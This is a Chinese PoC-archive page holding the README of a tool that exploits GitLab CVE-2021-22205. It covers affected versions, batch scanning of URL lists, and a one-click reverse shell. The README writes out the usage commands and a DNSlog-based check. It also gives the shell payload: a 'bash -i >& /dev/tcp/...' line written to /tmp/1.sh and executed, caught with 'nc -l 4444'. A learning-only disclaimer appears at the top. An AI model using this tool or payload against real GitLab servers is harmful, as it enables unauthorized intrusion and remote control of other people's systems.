POC详情: 2b4bbd306773c2461df6d658d85b6bdd93132c1f

来源
关联漏洞
标题: GitLab 代码注入漏洞 (CVE-2021-22205)
描述:GitLab是美国GitLab公司的一个开源的端到端软件开发平台,具有内置的版本控制、问题跟踪、代码审查、CI/CD(持续集成和持续交付)等功能。 Gitlab Community Edition 存在代码注入漏洞,该漏洞源于图像解析器在处理图像文件时输入验证不正确。以下产品及版本受到影响::Gitlab Community Edition: 11.9.0, 11.9.1, 11.9.2, 11.9.3, 11.9.4, 11.9.5, 11.9.6, 11.9.7, 11.9.8, 11.9.9, 11
描述
CVE-2021-22205未授权漏洞批量检测与利用工具
介绍
## 0x01 前言

⚠️**声明:本项目仅供学习和交流使用,请勿用于非法未授权测试!**

**更新记录**

11.2
- 增加了一键反弹`shell`功能
- 优化了相关流程


11.1
- 增加了批量检测 文本中可以直接使用ip检测,不需要写协议

10.30

- 增加了`burp`代理池
- 重写了命令行参数
- 增加了`gitlab`未授权批量以及单个检测功能



**影响版本**
```bash
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
```



**⚠️部分版本漏洞有坑点无法利用,详细复现测试分析文章请参看我的blog**

http://blog.seals6.top/index.php/archives/14/

跟几个师傅测试了一下,总结如下,如果还有问题,欢迎私聊!
```bash
v11版本需要授权登陆或者注册新用户进入后台,新建项目进行上传
v12版本存在未授权,管理员登陆或者注册新用户进入后台,新建项目进行上传
v13版本存在未授权,管理员登陆,默认情况允许注册新用户,但还需要管理员审核后才能进入后台
```

## 0x02 使用说明

### 安装

```bash
pip3 install - r requirements.txt
```

### 使用方法

```bash
usage: CVE-2021-22205.py [-h] [-w WAY] [-u URL] [-f FILE] [-ri REIP] [-rp REPORT]

CVE-2021-22205

optional arguments:
  -h, --help            show this help message and exit
  -w WAY, --way WAY     Exploit way unauthorized or reverse shell
  -u URL, --url URL     url like http://127.0.0.1:8080
  -f FILE, --file FILE  url file path
  -ri REIP, --reip REIP
                        reverse ip
  -rp REPORT, --report REPORT
                        reverse port

```

单个`url`进行未授权上传漏洞检测
```python
python3 CVE-2021-22205.py -w un -u http://127.0.0.1
```

进行批量未授权上传漏洞检测

```python
python3 CVE-2021-22205.py -w un -f ./url.txt
```

一键反弹`shell`,目前只支持单个`ip`

```python
python3 CVE-2021-22205.py -w shell -u URL -ri 反弹IP -rp 反弹端口
```

### 举个小例子

此漏洞默认不回显,输入命令,例如以`dnslog`带数据进行判断是否存在漏洞

![](img/img1.png)

重回`dnslog`进行检测,有回显即成功

![](img/img2.png)

### 反弹shell

监听`server`端`4444`端口

```bash
nc -l 4444
```

![](img/img3.png)

利用工具,具体流程是上传反弹`shell`脚本到`/tmp/1.sh` 然后进行执行

```bash
echo 'bash -i >& /dev/tcp/xx.xx.xx.xx/port 0>&1' > /tmp/1.sh

chmod +x /tmp/1.sh

/bin/bash /tmp/1.sh
```

工具一键执行反弹shell

```python
python3 CVE-2021-22205.py -w shell -u URL -ri 反弹IP -rp 反弹端口
```

![](img/img4.png)

成功`getshell`

![](img/img5.png)

## REF

https://hackerone.com/reports/1154542

https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/

https://github.com/RedTeamWing/CVE-2021-22205

https://github.com/mr-r3bot/Gitlab-CVE-2021-22205/
文件快照

[4.0K] /data/pocs/2b4bbd306773c2461df6d658d85b6bdd93132c1f ├── [6.9K] CVE-2021-22205.py ├── [4.0K] img │   ├── [ 97K] img1.png │   ├── [124K] img2.png │   ├── [ 25K] img3.png │   ├── [ 49K] img4.png │   └── [105K] img5.png ├── [2.8K] README.md └── [ 40] requirements.txt 1 directory, 8 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。